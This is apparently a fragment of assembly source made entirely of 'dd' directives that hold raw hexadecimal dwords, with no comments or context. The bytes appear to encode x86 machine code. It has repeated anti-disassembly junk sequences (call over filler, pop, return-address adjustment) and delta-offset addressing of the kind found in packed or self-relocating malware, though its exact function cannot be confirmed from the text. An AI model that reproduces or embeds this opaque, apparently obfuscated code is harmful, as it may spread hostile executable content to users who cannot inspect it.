		dd 0B95676CEh, 64211A47h, 6A90615Eh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 5611C352h
		dd 0D1F01068h, 8A04BDBBh, 6A146AD9h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 1D52C351h
		dd 0BC7C4D7h, 21BA66A7h, 0D5BD0951h, 0FF06071Bh, 71B6995h
		dd 4D858906h, 5806071Ah, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 0E8C35242h, 0CABEBB3Ch, 80CF2282h, 850F0038h
		dd 0FFFFFF5Dh, 0C6D0BF0Fh, 6A0100h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 5F5BCEC3h
		dd 0DA4E0E33h, 8D0F5756h, 0
		dd 8C0F5A5Bh, 6, 2065958Bh, 33600607h, 705499Dh, 81616106h
		dd 8B52F6C3h, 0CDBD8310h, 60705h, 1E840Fh, 9D330000h, 6072619h
		dd 46B2FF6Ah, 1B6995FFh, 0BF0F0607h, 0FFEEE9D0h, 9509FFFFh
		dd 6071C4Dh, 5CD85C7h, 10607h, 9D330000h, 6070CA1h, 89DAB70Fh
		dd 74AF085h, 188B0F06h,	0E9000000h, 13h, 0E29B3C48h, 20A224h
		dd 0C35C7C62h, 8322AEEDh, 0E8C16182h, 8, 42B4EBE5h, 0BB975975h
		dd 68B0Fh, 958B0000h, 6071D7Dh,	0F0BA905Bh, 5061F8F2h
		dd 11E9h, 2B228600h, 0B8FF28ECh, 329E8770h, 5C16E28Dh
		dd 6690167Dh, 0FD1F7BAh, 28Ah, 6068B600h, 6ADE8B66h, 9D8B5005h
		dd 6070D69h, 8858D5Ah, 6A06074Bh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 8C81C350h
		dd 90492EE3h, 152280BAh, 0D78B5007h, 0FD9D0390h, 80060703h
		dd 858D5BEAh, 6074AF8h,	3880Fh,	8B660000h, 96B650D1h, 0E9240489h
		dd 8, 0EB4C5AD7h, 875C60DDh, 130195FFh,	6A0607h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0BD1595C3h, 8D8DBECEh, 6077773h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 1Dh, 4BC35242h, 546A8DCAh, 87F8CB84h
		dd 58501D6h, 0B060704h,	8D1174C0h, 74B0885h, 0D1FF5006h
		dd 4B268589h, 0AEB0607h, 4B2685C7h, 0FFFF0607h,	7E9FFFFh
		dd 0A9000000h, 853EBDC5h, 0EE9B1E3h, 4A000000h,	705D9225h
		dd 0C7628DB2h, 4F6B8C89h, 0E8606179h, 7, 0E6BA84E5h, 3E3296Bh
		dd 7290DB5h, 0FE95F06h,	2E000000h, 0E0598472h, 0B185F4CBh
		dd 0E23BFFA1h, 0C6614984h, 7152585h, 6A4D06h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 5FFEBC3h
		dd 958B9479h, 6072645h,	4E8h, 3576A800h, 0D68B66A4h, 8B24B250h
		dd 60042444h, 65C0BE66h, 0BB008B61h, 176A0F59h,	4244489h
		dd 11E858h, 3ED00000h, 44BC02A2h, 87A78BD8h, 0BAC08EAFh
		dd 0F6B33AAh, 0FF5AD1B7h, 71015B5h, 8E0F06h, 8D000000h
		dd 0A70F485h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 688BAB01h, 0E8BAD0FFh, 89525A00h
		dd 7120185h, 0C6D18B06h, 7152585h, 6A4506h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1B0424h, 51410000h, 0E4F4DCC3h
		dd 4A4914D6h, 0E8DE6805h, 4811148h, 29808B24h, 0D38B667Dh
		dd 1CBDB5FFh, 8B660607h, 0F4858DDFh, 89060A70h,	710198Dh
		dd 6AD0FF06h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 16042444h, 42000000h, 928C352h, 0F9958BADh, 66060723h
		dd 45D381h, 191D8589h, 95890607h, 6070CB9h, 2379D9BAh
		dd 0FCD28B64h, 6AD98C66h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 0FF44C355h,	2B6BD8A4h
		dd 0F6FC9C17h, 840F04C1h, 247h,	0E9DBB70Fh, 9, 82F96845h
		dd 93F0E22Fh, 0E6E9D3h,	880F0000h, 6, 0BBD958Bh, 0B58B0607h
		dd 6071B75h, 0AE9958Bh,	0C6810607h, 1180h, 0E3DB589h, 0BD830607h
		dd 6070E25h, 34850F00h,	0E8000000h, 0Fh, 622DE9B3h, 0D12F8727h
		dd 12AE5DF8h, 0F434EE9h, 68Ah, 28CB8100h, 5B1D8981h, 1849BD89h
		dd 67E90607h, 50000000h, 2F25BD89h, 835B0607h, 840F003Eh
		dd 56h,	68F0F57h, 31000000h, 71CC5B5h, 9605B06h, 7003585h
		dd 0E9146A06h, 0Ah, 0D144A311h,	2AD8BDA7h, 95FF399Ah, 6071B69h
		dd 9D8B61F5h, 6072CFDh,	0FFFFBEE9h, 55006AFFh, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 6C70C89h, 1
		dd 86376DBBh, 6E820h, 380000h, 3B18EE0Ah, 0DBB70F60h, 8C0Fh
		dd 5B610000h, 4AF0BD83h, 0F050607h, 13E85h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 10E91D7Dh, 53000000h, 0A32890C7h, 61E5914Dh,	83008782h
		dd 8BEA00D8h, 1DB58BD9h, 66060719h, 64B9D08Bh, 8B000000h
		dd 727399Dh, 0E83E8006h, 46840Fh, 0CE800000h, 11BD8991h
		dd 0E906070Eh, 5Fh, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Bh, 58C35545h, 77B49EB1h,	0E800A178h, 0Bh
		dd 984CA1CCh, 0C7DD10ABh, 664F3B0Ah, 5B4822BAh,	0C2057E80h
		dd 62840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 150424h, 52420000h, 465890C3h, 0F49B5B3h, 0FFFF8085h
		dd 52006AFFh, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 0E19036DDh, 50E90711h, 0E8000000h, 0Ah
		dd 992D563Ch, 0C611BE70h, 26BA2F65h, 5A402454h,	1D0DB589h
		dd 6A0607h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h
		dd 53430000h, 248CB4C3h, 6C06BC24h, 60CA6F6Bh, 65B58B52h
		dd 5B06072Dh, 21DDBD01h, 58610607h, 7C8DEB81h, 0BD8311B1h
		dd 60726A1h, 0BC840F00h, 8A000000h, 958960D7h, 6071A31h
		dd 152585C6h, 6A540607h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 3A8EC355h, 8D890E3Ah
		dd 6071745h, 0DEACE468h, 0DA8B56BCh, 2434815Bh,	43901210h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 4C35040h
		dd 85EA819Ch, 0FF57D891h, 71CBDB5h, 0F4858D06h,	0B2060A70h
		dd 6AD0FF37h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 18042444h, 45000000h, 0CCA7C355h, 0B3DA2B70h, 1D9503A8h
		dd 6A060733h, 39BA6600h, 0A1B5FF3Dh, 0BA060726h, 5EAF5D19h
		dd 8B66D0FFh, 816661D0h, 0C7028CCAh, 72FF985h, 106h, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1804h, 0C3504000h
		dd 0F930DBD2h, 0F6BA607Ah, 362F7C0h, 730959Dh, 0E36C6806h
		dd 0FCBA25DBh, 810317F4h, 0E3EC2434h, 0B70F25DBh, 66FF6ADBh
		dd 95FFD18Bh, 6070C31h,	11FD8589h, 3B60607h, 51006A61h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 31DF0B9Fh, 9BB5608Ah, 0BFDBD89h, 8A610607h, 0E85090D7h
		dd 7, 0A76CC2FFh, 0B2EF33EEh, 66905AC2h, 0E1BBCB81h, 321858Bh
		dd 0BF50607h, 40840FC0h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 892DC353h
		dd 49DF13CAh, 0C1858993h, 0FF06070Ah, 70A7195h,	0C890F06h
		dd 0F000000h, 68Dh, 59CB8100h, 0C76E1B2Ch, 713B585h, 106h
		dd 9933BB00h, 66562B72h, 5BB28EBAh, 791BD83h, 0F000607h
		dd 3384h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1704h, 0C3504000h, 56168C9Eh, 2810Fh, 0F98A0000h, 1D8195FFh
		dd 0EA810607h, 16078C92h, 188DBD83h, 0F000607h,	1084h
		dd 3D9D2900h, 0B6060712h, 8995FF9Bh, 8B060710h,	2DBD83D6h
		dd 60719h, 3A840Fh, 1600000h, 7152995h,	0DA8B6606h, 9E961h
		dd 5F190000h, 0E2BF461h, 839B0ED6h, 70DFDBDh, 850F0006h
		dd 14h
		dd 17919D0Bh, 81660607h, 0FFD26FDAh, 7301D95h, 35EA8006h
		dd 15F5BD83h, 0F000607h, 4984h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 3E390603h
		dd 2860Fh, 0FC8A0000h, 8581D0B6h, 607302Dh, 4003h, 198D9D03h
		dd 85810607h, 60723A9h,	4003h, 9A5DB81h, 310F55E8h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 0F3C35242h, 9FF5DA81h
		dd 81662005h, 8DB071D3h, 75A018Dh, 8B665606h, 1895AD7h
		dd 18B0Fh, 33F80000h, 53006AC2h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0CF400BD2h, 297ED432h
		dd 71D45B5h, 4189F906h,	53006A04h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 0BB2B6FF2h, 6694847Fh
		dd 0F6D9DBBh, 53006A31h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 0A8E97480h, 5A118D8Dh, 0BF0F0607h
		dd 6A0189D6h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 19042444h, 45000000h, 0A140C355h, 7C6F0DF8h,	3F9DA80h
		dd 70BE595h, 0E9C23306h, 14h, 54F40CAEh, 55C2DE3Eh, 63A3D62Dh
		dd 3154EDC1h, 18663711h, 8B044189h, 713719Dh, 518D8906h
		dd 83060716h, 718EDBDh,	840F0006h, 7, 0A995FFF8h, 83060704h
		dd 73181BDh, 850F0106h,	8Ch, 197D8589h,	81E90607h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0ABD1C351h, 6AA2567Bh, 8B198D93h,	75B59B5h
		dd 6C706h, 8B000000h, 75927B5h,	6C706h,	0CF000000h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 59C35242h, 452D8A90h
		dd 165DB589h, 0E8510607h, 10h, 8EECF10Fh, 5C079C87h, 0F345E1FCh
		dd 0FA05B63Bh, 1A859D2Bh, 5B5A0607h, 13B5BD83h,	0F000607h
		dd 19384h, 0B58B6000h, 6072ECDh, 0FB23BB66h, 0ADBD8361h
		dd 1060715h, 167850Fh, 958B0000h, 6072FADh, 1745B589h
		dd 8D8B0607h, 6074AE4h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 46C35141h, 0DBAC85F1h, 9D89C85Ah, 6072059h
		dd 8E9h, 0F4EF5E00h, 45C6F109h,	1C6D2h,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 1Bh, 0D6C35242h, 18418779h
		dd 8B71F254h, 72E3595h,	0DE8B6606h, 52006A60h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 1658A26Ch
		dd 0B174682Ah, 20D18529h, 4E80607h, 80000000h, 50000000h
		dd 0DA8A5252h, 50310F5Bh, 11E952h, 0E9850000h, 0BF7CB3FFh
		dd 6DDF1734h, 7C29FA61h, 0F49E44Dh, 5A5A5731h, 50585A58h
		dd 2850F52h, 0B7000000h, 448B5B4Ah, 0BA660424h,	8B4AD2h
		dd 4489D3B2h, 0CBB0424h, 583CF8C2h, 0FF6A97B2h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0CDC35242h, 0FF59A3D4h
		dd 70C3195h, 3D958B06h,	6106072Eh, 2DED9D8Bh, 95FF0607h
		dd 607174Dh, 8B17EA80h,	74AE48Dh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1504h,	0C3564600h, 0FEF9FB2Fh
		dd 0BFEA8001h, 0C7816660h, 0BD037F36h, 60732B5h, 6DBD8361h
		dd 1060731h, 6850Fh, 9D310000h,	6070F25h, 8D29C08Bh, 6072FB1h
		dd 211BD83h, 75000607h,	65BD8309h, 6070Dh, 53501A74h, 858BC08Bh
		dd 607302Dh, 302D8589h,	9D8D0607h, 609AAA8h, 585BD3FFh
		dd 0D65BD83h, 74000607h, 8B535018h, 7302D85h, 2D858906h
		dd 8D060730h, 9A7979Dh,	5BD3FF06h, 52006A58h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0FADB8C59h
		dd 0E9E6A80Bh, 0D08B66DAh, 0CE80C08Bh, 0B5BD8386h, 60713h
		dd 18850Fh, 0BD890000h,	6072D7Dh, 0B9DBD83h, 0F000607h
		dd 584h, 451BBA00h, 0BD8337A0h,	60713B5h, 1A840F00h, 8A000000h
		dd 0A1BD83DDh, 60713h, 0B840Fh,	66600000h, 0BF0FD98Bh
		dd 0CE8061F6h, 0B5BD832Bh, 60713h, 0F840Fh, 0BD830000h
		dd 60713A1h, 2840F00h, 0B7000000h, 0B5BD838Ah, 60713h
		dd 42840Fh, 6A0000h, 3E855h, 5D200000h,	6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 2F2D7C3h, 5FEAB1ECh, 6800F08h, 8B000000h
		dd 718FD95h, 0C1BD8906h, 8306070Ch, 71759BDh, 840F0006h
		dd 0
		dd 13B5BD83h, 0F000607h, 3A84h,	51D38100h, 837122D9h, 71001BDh
		dd 840F0006h, 27h, 6E860h, 0D4090000h, 0B70D300Fh, 0E350DE81h
		dd 0F5A7EFAh, 68Eh, 4D8D8900h, 6106071Ch, 0D2595FFh, 8BF90607h
		dd 0E8D0FC0h, 0E9000000h, 9, 0BA6531Ch,	572551D4h, 11BD83CEh
		dd 60702h, 0BD830975h, 6070D65h, 501A7400h, 8BC08B53h
		dd 723A985h, 0A9858906h, 8D060723h, 9AB0F9Dh, 5BD3FF06h
		dd 65BD8358h, 6070Dh, 53501874h, 23A9858Bh, 85890607h
		dd 60723A9h, 0A7B09D8Dh, 0D3FF0609h, 14E8585Bh,	5000000h
		dd 43D4AD69h, 6677E274h, 0EB4F0DD8h, 0A6C77996h, 5ADF9BF7h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 18C35747h
		dd 748CE43Ah, 6880F85h,	89000000h, 70B7D9Dh, 818D8906h
		dd 8B06071Bh, 0FE9C0h, 0BFB20000h, 0B3B206AAh, 0C6BD5DC1h
		dd 61DBE919h, 0B5BD8318h, 60713h, 503840Fh, 6A0000h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
		dd 0F9D694C3h, 0BD83FD8Ah, 6071BADh, 37840F02h,	0F000000h
		dd 68Eh, 0A1958B00h, 83060716h,	73181BDh, 850F0106h, 1Eh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 65C35747h
		dd 0BD83CCB9h, 607179Dh, 0D3840F00h, 66000000h,	0F56DABAh
		dd 5160D2B7h, 5FD958Bh,	8B5A0607h, 74AE48Dh, 13E806h, 66EA0000h
		dd 1AD31195h, 0B1C71A39h, 0DFA11173h, 0D6CB0AF7h, 2ACA8081h
		dd 0F01FE5Bh, 0A268D1B7h, 661B4104h, 814EAABBh,	4222434h
		dd 6A1B41h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 3A5DECC3h, 0DD752E77h, 0D419D8Bh,	0FF6A0607h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 57C35040h
		dd 3C80D107h, 164CBA66h, 3195FFFCh, 6A06070Ch, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0A141C351h, 6685CB2Fh, 0C3BDD281h, 800Fh, 60610000h
		dd 27FDBD89h, 0F6800607h, 6A606163h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0FD13C355h
		dd 0E90D2085h, 10h, 9DC5808h, 68BA8E89h, 26DEFAE4h, 2E9D50BAh
		dd 4AE48D8Bh, 860F0607h, 13h, 0EE9h, 4CE2300h, 8E46997Bh
		dd 45E838F9h, 0FE9E6804h, 0AE96001h, 0BC000000h, 394290C1h
		dd 87B9AE32h, 0A1952301h, 6106071Ah, 68A3A768h,	0E852508Eh
		dd 14h,	47497B54h, 4CBF8408h, 46B000DEh, 0D441AB27h, 0C09C3287h
		dd 0FE9h, 0FBBF0900h, 5679D7F8h, 2D996040h, 2DE59592h
		dd 0B6310F5Bh, 81585A70h, 5CD92404h, 6A7197h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 9A6D4EC3h
		dd 8F0F50C2h, 13h, 0DE8h, 0D690B500h, 0C27463E8h, 0FFCE283h
		dd 5B5AE368h, 0BB66FF6Ah, 95FFBDF9h, 6070C31h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 48C35747h, 0E9B183E7h
		dd 12h,	0AFE7D4E1h, 8B06B56Eh, 0D781C545h, 0EE2AE4D8h
		dd 13E91E78h, 13000000h, 0CBD88493h, 0C9D9AD8Ch, 70903F96h
		dd 0C6D9A02Fh, 80619AFDh, 0BD8D64DAh, 60730ADh,	0BA1C4F8Bh
		dd 2D52CDB7h, 6A016Ah, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 0AE888C3h, 96000000h, 492A51D3h
		dd 0C8D6B0F0h, 0DE9B7h,	1D7B0000h, 0ECBACA46h, 0E37E4B89h
		dd 5BC0F5E0h, 50D9BF0Fh, 0C9BE6660h, 0C89610Ch,	0DD9D8B24h
		dd 8D060703h, 0A3BCF85h, 0F99D8B06h, 2B060723h,	7239195h
		dd 0FD0FF06h, 0C82h, 6860F00h, 89000000h, 712498Dh, 204F8B06h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0C3C35545h
		dd 181FE24Ch, 0B3F4F9D2h, 0F036A8Bh, 88Dh, 95095300h, 6071855h
		dd 0F0B2505Ah, 80240C89h, 858D09E3h, 60A3BCFh, 0AE8h, 68C71B00h
		dd 0A0239B6Bh, 8B69A70Dh, 70DD19Dh, 0D0FF5B06h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0FBC35747h, 81255604h
		dd 0C1ABDCEAh, 0F8DE8B12h, 30ADBD8Dh, 0F18A0607h, 291C4F8Bh
		dd 70F85B5h, 89016A06h,	70601B5h, 0DC8A5006h, 0F240C89h
		dd 0E84h, 9E900h, 0A4EA0000h, 14CD1565h, 8D1B767Eh, 0A3BCF85h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 459A2E82h, 0F344357Eh, 0D0FFF808h, 3759D8Bh
		dd 4F8B0607h, 4A42BA20h, 36A007Fh, 0CE9h, 0B8255800h, 9F43ED76h
		dd 3EED1340h, 25B29135h, 91D38B50h, 0E852006Ah,	3, 5AC35A20h
		dd 4245489h, 4244481h, 19h, 0E0C35242h,	0FE8D1635h, 0CF858D83h
		dd 0F060A3Bh, 0C89h, 68E0F00h, 89000000h, 71645BDh, 0E8D0FF06h
		dd 0Bh,	2AC19683h, 0CAAC9E59h, 0E967AE58h, 0Ch,	60FDE4F1h
		dd 0A888A2BCh, 66115E5Dh, 0E48D8B5Bh, 8906074Ah, 704099Dh
		dd 6601FE06h, 4370E281h, 4AE4858Bh, 0D3810607h,	6510DC9h
		dd 6AF500FEh, 55006A01h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 8166F038h, 0E9D889D2h, 0Fh, 55F37F80h
		dd 47740614h, 2C4740Dh,	68C8547Eh, 0BAB1ED6Eh, 2830Fh
		dd 31B60000h, 91240481h, 66454DB2h, 1028E381h, 3BD9858Dh
		dd 9D89060Ah, 60721A9h,	8B66D0FFh, 9DBD83D7h, 6070Bh, 8F840Fh
		dd 0F8BA0000h, 835B7AAEh, 732B1BDh, 850F0106h, 7Dh, 6810Fh
		dd 958B0000h, 6072FC5h,	3BE38D8Dh, 0D18B060Ah, 6A036Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h
		dd 0B14738C3h, 8E0F67F3h, 3, 6AD7B70Fh,	4FEF8001h, 8E9D1FFh
		dd 54000000h, 81AD442Fh, 6ACCF1EFh, 0D1B70F01h,	840F016Ah
		dd 6, 8F29D381h, 0D1FF20EFh, 0BCCABB66h, 546028E8h, 6840FFAh
		dd 81000000h, 0C93DE2DAh, 0BA206A77h, 69F8896h,	958BFF6Ah
		dd 6073321h, 0C3195FFh,	0DA8B0607h, 0B8h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h
		dd 60D8E3F6h, 0FC00B81h, 6A84h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 88801D65h
		dd 80C55A16h, 0BD8362C7h, 6071335h, 38840F00h, 0F000000h
		dd 0C380D2BFh, 0F995FFADh, 6A060731h, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 2343C350h
		dd 0DD6DA388h, 236D9D89h, 71BA0607h, 8B5EB1ABh,	71A2985h
		dd 35958B06h, 8A06070Eh, 0C6F1h, 0F58DF8Bh, 8C66DBB7h
		dd 2D958BD9h, 0F606072Fh, 840F04C1h, 53h, 1FCD9589h, 0F08A0607h
		dd 46E9h, 0FD958B00h, 8B06071Ah, 71B75B5h, 81DC8A06h, 1180C6h
		dd 8B0CB700h, 718CD95h,	6C706h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 77B8C350h
		dd 0C67EE41Ch, 5E686D84h, 5D7FBB66h, 0F00F883h,	0C2E84h
		dd 8BBA6600h, 1F88305h,	1A5850Fh, 0D88B0000h
		dd 0B219D8Bh, 0B80607h,	66000000h, 0BE41CBBh, 0E1840FC0h
		dd 0F000000h, 186h, 0DE9F900h, 0DC000000h, 1B317E29h, 71501E13h
		dd 85FC603Dh, 0F01F883h, 0F784h, 51006A00h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0B61B8ED8h
		dd 59507625h, 1BBBEB64h, 832B5927h, 840F03F8h, 41h, 8BDBBF0Fh
		dd 702A59Dh, 0B806h, 0EE90000h,	2D000000h, 2B776E2h, 4D287ABFh
		dd 64971C38h, 74BD8D99h, 8B005B79h, 7239195h, 89F38106h
		dd 0FF7B44C4h, 6800FE7h, 81000000h, 0FE295EE3h,	1B85Ah
		dd 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 8BAB01C3h, 0A4840F68h, 8D9DD6CFh,	5B7974BDh
		dd 5132B200h, 0FF5BDA8Bh, 0CE9E7h, 0EAF0000h, 5B27892h
		dd 544DECBEh, 0DE8BD7D1h, 4170BD8Dh, 890F0607h,	3, 0BBD98B66h
		dd 57CF50F2h, 3A6E9h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 0F8AE1D93h, 4B3F85C7h
		dd 50607h, 0D68B0000h, 5B8h, 55006A00h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 0F906C3h, 1A699D8Bh
		dd 95330607h, 6070BADh,	9F3E9h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 0E9A53ABBh
		dd 0Fh,	97BF95CCh, 1481B0D1h, 0B1CC1692h, 835F1D4Ah, 850F02F8h
		dd 122h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 15h,	0E9C35141h, 89F88AC5h, 70AE995h, 0B806h, 9D2B0000h
		dd 6070B2Dh, 18119533h,	0C00B0607h, 0B5840Fh, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h
		dd 6B8F7EC3h, 0F6E8700h, 1C87h,	14E800h, 3F880000h, 61CD9012h
		dd 0CC6B65Ah, 378A720Ch, 93EB3A99h, 0D18A343Ch,	1F8835Bh
		dd 0FEFA840Fh, 9D0BFFFFh, 607020Dh, 1181BB66h, 0F03F883h
		dd 0FFFE6484h, 0C800FFFh, 0F000000h, 687h, 0A9950100h
		dd 89060713h, 71A71B5h,	0E9C02B06h, 6, 0BBADC689h, 0BD8D85E9h
		dd 5B7974h, 6AE7FFF9h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0F4FC356h, 68Bh, 83E38100h
		dd 8D4B5ED1h, 74368BDh,	10E906h, 70F10000h, 662E96C6h
		dd 0EB7851D1h, 2CB32FD9h, 0F8E9663Eh, 66000001h, 3EC4DB81h
		dd 5E9h, 184E9C00h, 0F8839E9Bh,	6E850F03h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0BE85C351h, 37E4836Ch, 0DEFF5EC3h, 0E83BD780h, 0Bh
		dd 94AD292Dh, 140C4E68h, 0F99F4FFh, 385h, 0D18B6600h, 0FCBD8D5Bh
		dd 6A060744h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 1B01C352h, 59041403h, 172E9h
		dd 5F88300h, 0C850Fh, 81660000h, 0E9ADE9EAh, 80Ch, 0F8836DB2h
		dd 7A850F06h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 4CDCC357h, 55A33045h
		dd 0D896F804h, 32719D8Bh, 0BD8D0607h, 60746F4h,	0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 75C35343h, 8589346Fh
		dd 60711E5h, 0FAE9h, 0D68B6600h, 17850Fh, 12E90000h, 13000000h
		dd 0A96B6618h, 0ECBCEA3Ch, 848C14ABh, 803B15C3h, 7F88306h
		dd 3D850Fh, 6A0000h, 3E850h, 58200000h,	448958C3h, 44810424h
		dd 1B0424h, 50400000h, 27C7B0C3h, 3E83BED2h, 79958973h
		dd 8D060721h, 72411BDh,	0E5BD8906h, 0E9060719h,	119h, 83D78B66h
		dd 850F0AF8h, 8Bh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 65C35040h, 0F1B5898Ch, 8D060711h, 748ECBDh
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 69E1F855h, 0F60A8E1h, 686h, 719D0100h, 66060705h
		dd 8B61C28Bh, 71A5D9Dh,	25E906h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 2ECDB7C3h
		dd 5CA8F193h, 57D18A4Fh, 0E49958Bh, 17B90607h, 834D93B7h
		dd 840F003Fh, 66h, 13E8h, 0A47C0A00h, 7C932BC7h, 5D78039Fh
		dd 4C50E32Eh, 0FDF30719h, 5AD1BF0Fh, 0E90F30F8h, 6, 0F228890Bh
		dd 0C9D1EEFDh, 47D88B66h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 0B5C35040h, 8923C0EDh, 71A858Dh, 0FF9DE906h
		dd 0F281FFFFh, 68EE21B3h, 18C1BD89h, 895F0607h,	70CC9BDh
		dd 0E8BD8906h, 6A06074Ah, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1C042444h, 43000000h, 0E3C2C353h,	0F5D5C3C4h
		dd 291008A3h, 70E058Dh,	7D8D8D06h, 66060727h, 2B9EDA81h
		dd 191DB5FFh, 840F0607h, 0
		dd 0A3A6858Dh, 8D500609h, 751FFBDh, 518D8D06h, 0B806076Ch
		dd 54831ABCh, 730CF2Bh,	4947C8D0h, 0B58DF875h, 6076BE9h
		dd 6C698D8Dh, 0CF2B0607h, 0C933A4F3h, 0B8h, 74C00B00h
		dd 35BD8346h, 60713h, 95FF0674h, 60731F9h, 4AE8B58Bh, 858D0607h
		dd 609A3A6h, 858DD0FFh,	60740F3h, 85C7D0FFh, 6072899h
		dd 1, 2F51A58Bh, 0B58B0607h, 607181Dh, 0FDAD8Bh, 0C0330607h
		dd 0BA000CC2h, 41748C40h, 0D5DBD89h, 0BD830607h, 6070C49h
		dd 0F840F00h, 81000000h, 456AB9DBh, 6D95FF12h, 66060726h
		dd 0BD83DA8Bh, 6070E25h, 0C1850F00h, 60000001h,	9E9h, 1567D100h
